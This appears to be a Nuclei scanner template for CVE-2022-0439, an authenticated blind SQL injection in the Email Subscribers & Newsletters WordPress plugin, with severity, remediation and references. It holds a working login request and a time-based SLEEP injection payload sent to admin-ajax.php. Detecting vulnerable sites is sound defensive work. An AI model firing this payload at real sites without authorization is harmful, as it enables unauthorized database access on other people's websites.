id: CVE-2022-0439

info:
  name: Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
  impact: |
    Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.
  remediation: |
    Update to version 5.3.2, or a newer patched version
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0439
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/email-subscribers/email-subscribers-newsletters-531-authenticated-or-cross-site-request-forgery-blind-sql-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0439
    epss-score: 0.20235
    epss-percentile: 0.95599
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/email-subscribers/"
  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,email-subscribers,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 10'
          - 'status_code == 200'
          - 'contains(body, "column-email")'
        condition: and
# digest: 4a0a00473045022100823da21a34693c6e37a8ca7e619baf9b917d1550c41dd47174765846b9c8e8dd02200b73889e96bdf7143cedd99f1deb9d5b7665da9653a968be5ce9d95ccc12ecad:922c64590222798bb761d5b6d8e72950